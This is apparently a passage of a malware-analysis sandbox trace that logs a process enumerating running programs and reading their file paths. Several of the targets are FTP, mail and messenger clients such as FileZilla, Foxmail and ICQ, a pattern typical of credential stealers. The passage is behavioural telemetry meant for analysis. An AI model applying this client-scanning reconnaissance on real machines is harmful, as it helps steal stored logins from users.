Defender\\apply-wear-benefit.exe" [0240.355] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.355] CloseHandle (hObject=0xfc) returned 1 [0240.355] malloc (_Size=0x8d00) returned 0x1ea46d0 [0240.355] free (_Block=0x1ea0048) [0240.355] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="law-stay.exe")) returned 1 [0240.356] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9ec) returned 0xfc [0240.356] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\law-stay.exe" (normalized: "c:\\program files\\common files\\law-stay.exe")) returned 0x2a [0240.357] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Common Files\\law-stay.exe" | out: _Dest="C:\\Program Files\\Common Files\\law-stay.exe") returned="C:\\Program Files\\Common Files\\law-stay.exe" [0240.357] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.357] CloseHandle (hObject=0xfc) returned 1 [0240.357] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="wife_heat.exe")) returned 1 [0240.358] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9f8) returned 0xfc [0240.358] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Media Player\\wife_heat.exe" (normalized: "c:\\program files\\windows media player\\wife_heat.exe")) returned 0x33 [0240.359] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows Media Player\\wife_heat.exe" | out: _Dest="C:\\Program Files\\Windows Media Player\\wife_heat.exe") returned="C:\\Program Files\\Windows Media Player\\wife_heat.exe" [0240.359] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.359] CloseHandle (hObject=0xfc) returned 1 [0240.359] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="interview nothing work.exe")) returned 1 [0240.359] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa04) returned 0xfc [0240.360] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\WindowsPowerShell\\interview nothing work.exe" (normalized: "c:\\program files\\windowspowershell\\interview nothing work.exe")) returned 0x3d [0240.360] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\WindowsPowerShell\\interview nothing work.exe" | out: _Dest="C:\\Program Files\\WindowsPowerShell\\interview nothing work.exe") returned="C:\\Program Files\\WindowsPowerShell\\interview nothing work.exe" [0240.360] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.360] CloseHandle (hObject=0xfc) returned 1 [0240.360] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="your hit sense.exe")) returned 1 [0240.360] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa10) returned 0xfc [0240.361] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Journal\\your hit sense.exe" (normalized: "c:\\program files\\windows journal\\your hit sense.exe")) returned 0x33 [0240.361] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows Journal\\your hit sense.exe" | out: _Dest="C:\\Program Files\\Windows Journal\\your hit sense.exe") returned="C:\\Program Files\\Windows Journal\\your hit sense.exe" [0240.361] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.361] CloseHandle (hObject=0xfc) returned 1 [0240.361] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="leftparticularly.exe")) returned 1 [0240.361] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa1c) returned 0xfc [0240.362] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Photo Viewer\\leftparticularly.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\leftparticularly.exe")) returned 0x40 [0240.362] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows Photo Viewer\\leftparticularly.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Photo Viewer\\leftparticularly.exe") returned="C:\\Program Files (x86)\\Windows Photo Viewer\\leftparticularly.exe" [0240.362] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.362] CloseHandle (hObject=0xfc) returned 1 [0240.362] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="must-issue.exe")) returned 1 [0240.362] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa28) returned 0xfc [0240.363] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Mail\\must-issue.exe" (normalized: "c:\\program files\\windows mail\\must-issue.exe")) returned 0x2c [0240.363] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows Mail\\must-issue.exe" | out: _Dest="C:\\Program Files\\Windows Mail\\must-issue.exe") returned="C:\\Program Files\\Windows Mail\\must-issue.exe" [0240.363] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.363] CloseHandle (hObject=0xfc) returned 1 [0240.363] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="call_order_arrive.exe")) returned 1 [0240.364] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa34) returned 0xfc [0240.364] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows NT\\call_order_arrive.exe" (normalized: "c:\\program files (x86)\\windows nt\\call_order_arrive.exe")) returned 0x37 [0240.364] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows NT\\call_order_arrive.exe" | out: _Dest="C:\\Program Files (x86)\\Windows NT\\call_order_arrive.exe") returned="C:\\Program Files (x86)\\Windows NT\\call_order_arrive.exe" [0240.364] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.364] CloseHandle (hObject=0xfc) returned 1 [0240.364] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="natural_reach_decide.exe")) returned 1 [0240.365] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa40) returned 0xfc [0240.365] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Sidebar\\natural_reach_decide.exe" (normalized: "c:\\program files\\windows sidebar\\natural_reach_decide.exe")) returned 0x39 [0240.365] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows Sidebar\\natural_reach_decide.exe" | out: _Dest="C:\\Program Files\\Windows Sidebar\\natural_reach_decide.exe") returned="C:\\Program Files\\Windows Sidebar\\natural_reach_decide.exe" [0240.365] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.365] CloseHandle (hObject=0xfc) returned 1 [0240.365] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="another great.exe")) returned 1 [0240.366] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa4c) returned 0xfc [0240.366] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Reference Assemblies\\another great.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\another great.exe")) returned 0x3d [0240.366] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Reference Assemblies\\another great.exe" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\another great.exe") returned="C:\\Program Files (x86)\\Reference Assemblies\\another great.exe" [0240.366] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.366] CloseHandle (hObject=0xfc) returned 1 [0240.366] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="bill order.exe")) returned 1 [0240.367] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa58) returned 0xfc [0240.367] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Sidebar\\bill order.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\bill order.exe")) returned 0x35 [0240.367] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows Sidebar\\bill order.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Sidebar\\bill order.exe") returned="C:\\Program Files (x86)\\Windows Sidebar\\bill order.exe" [0240.367] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.367] CloseHandle (hObject=0xfc) returned 1 [0240.367] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="large price.exe")) returned 1 [0240.368] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa64) returned 0xfc [0240.368] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Reference Assemblies\\large price.exe" (normalized: "c:\\program files\\reference assemblies\\large price.exe")) returned 0x35 [0240.368] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Reference Assemblies\\large price.exe" | out: _Dest="C:\\Program Files\\Reference Assemblies\\large price.exe") returned="C:\\Program Files\\Reference Assemblies\\large price.exe" [0240.368] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.368] CloseHandle (hObject=0xfc) returned 1 [0240.368] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="senior.exe")) returned 1 [0240.370] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa6c) returned 0xfc [0240.370] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft.NET\\senior.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\senior.exe")) returned 0x2f [0240.371] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Microsoft.NET\\senior.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\senior.exe") returned="C:\\Program Files (x86)\\Microsoft.NET\\senior.exe" [0240.371] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.371] CloseHandle (hObject=0xfc) returned 1 [0240.371] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x768, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0240.371] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x768) returned 0xfc [0240.372] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft.NET\\barca.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\barca.exe")) returned 0x2e [0240.372] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Microsoft.NET\\barca.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\barca.exe") returned="C:\\Program Files (x86)\\Microsoft.NET\\barca.exe" [0240.372] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.372] CloseHandle (hObject=0xfc) returned 1 [0240.372] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0240.373] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x89c) returned 0xfc [0240.373] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\WindowsPowerShell\\bitkinex.exe" (normalized: "c:\\program files (x86)\\windowspowershell\\bitkinex.exe")) returned 0x35 [0240.373] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\WindowsPowerShell\\bitkinex.exe" | out: _Dest="C:\\Program Files (x86)\\WindowsPowerShell\\bitkinex.exe") returned="C:\\Program Files (x86)\\WindowsPowerShell\\bitkinex.exe" [0240.373] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.373] CloseHandle (hObject=0xfc) returned 1 [0240.373] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0240.374] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8b8) returned 0xfc [0240.374] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Reference Assemblies\\coreftp.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\coreftp.exe")) returned 0x37 [0240.375] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Reference Assemblies\\coreftp.exe" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\coreftp.exe") returned="C:\\Program Files (x86)\\Reference Assemblies\\coreftp.exe" [0240.375] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.375] CloseHandle (hObject=0xfc) returned 1 [0240.375] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0240.375] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x804) returned 0xfc [0240.376] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Photo Viewer\\far.exe" (normalized: "c:\\program files\\windows photo viewer\\far.exe")) returned 0x2d [0240.376] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows Photo Viewer\\far.exe" | out: _Dest="C:\\Program Files\\Windows Photo Viewer\\far.exe") returned="C:\\Program Files\\Windows Photo Viewer\\far.exe" [0240.376] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.376] CloseHandle (hObject=0xfc) returned 1 [0240.376] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0240.377] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x64) returned 0xfc [0240.377] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows NT\\filezilla.exe" (normalized: "c:\\program files\\windows nt\\filezilla.exe")) returned 0x29 [0240.377] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows NT\\filezilla.exe" | out: _Dest="C:\\Program Files\\Windows NT\\filezilla.exe") returned="C:\\Program Files\\Windows NT\\filezilla.exe" [0240.377] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.377] CloseHandle (hObject=0xfc) returned 1 [0240.377] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0240.378] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5b0) returned 0xfc [0240.378] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\flashfxp.exe" (normalized: "c:\\program files\\common files\\flashfxp.exe")) returned 0x2a [0240.379] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Common Files\\flashfxp.exe" | out: _Dest="C:\\Program Files\\Common Files\\flashfxp.exe") returned="C:\\Program Files\\Common Files\\flashfxp.exe" [0240.379] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.379] CloseHandle (hObject=0xfc) returned 1 [0240.379] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0240.379] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc4) returned 0xfc [0240.379] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows NT\\fling.exe" (normalized: "c:\\program files (x86)\\windows nt\\fling.exe")) returned 0x2b [0240.380] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows NT\\fling.exe" | out: _Dest="C:\\Program Files (x86)\\Windows NT\\fling.exe") returned="C:\\Program Files (x86)\\Windows NT\\fling.exe" [0240.380] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.380] CloseHandle (hObject=0xfc) returned 1 [0240.380] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0240.381] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x62c) returned 0xfc [0240.381] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows NT\\foxmailincmail.exe" (normalized: "c:\\program files\\windows nt\\foxmailincmail.exe")) returned 0x2e [0240.381] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows NT\\foxmailincmail.exe" | out: _Dest="C:\\Program Files\\Windows NT\\foxmailincmail.exe") returned="C:\\Program Files\\Windows NT\\foxmailincmail.exe" [0240.381] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.381] CloseHandle (hObject=0xfc) returned 1 [0240.381] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x858, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0240.382] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x858) returned 0xfc [0240.382] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft OneDrive\\gmailnotifierpro.exe" (normalized: "c:\\program files (x86)\\microsoft onedrive\\gmailnotifierpro.exe")) returned 0x3e [0240.382] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Microsoft OneDrive\\gmailnotifierpro.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft OneDrive\\gmailnotifierpro.exe") returned="C:\\Program Files (x86)\\Microsoft OneDrive\\gmailnotifierpro.exe" [0240.382] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.383] CloseHandle (hObject=0xfc) returned 1 [0240.383] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0240.383] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8bc) returned 0xfc [0240.383] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft.NET\\icq.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\icq.exe")) returned 0x2c [0240.384] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Microsoft.NET\\icq.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\icq.exe") returned="C:\\Program Files (x86)\\Microsoft.NET\\icq.exe" [0240.384] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, 